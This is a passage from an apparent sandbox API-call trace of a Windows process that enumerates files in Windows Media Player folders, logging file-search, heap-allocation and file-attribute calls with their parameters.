Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f44f0 [0080.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf08 [0080.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.286] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4510 [0080.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c5c8 [0080.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.287] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0080.288] GetLastError () returned 0x12 [0080.288] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.288] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0080.288] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0080.288] GetLastError () returned 0x12 [0080.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.288] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.289] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0080.289] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="")) returned 1 [0080.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.290] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.290] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.290] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.290] NtClose (Handle=0x124) returned 0x0 [0080.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.291] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.293] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.293] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0080.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4530 [0080.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c6d0 [0080.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.294] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0080.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4550 [0080.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c7d8 [0080.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.295] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0080.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4570 [0080.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c8e0 [0080.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.296] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0080.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4590 [0080.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c9e8 [0080.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.297] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0080.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f45b0 [0080.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123caf0 [0080.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.299] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0080.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f45d0 [0080.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123cbf8 [0080.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.300] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0080.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f45f0 [0080.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123cd00 [0080.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.301] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0080.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4610 [0080.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ce08 [0080.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.302] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0080.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4630 [0080.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123cf10 [0080.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.303] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0080.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4650 [0080.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d018 [0080.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5788, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0080.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.305] 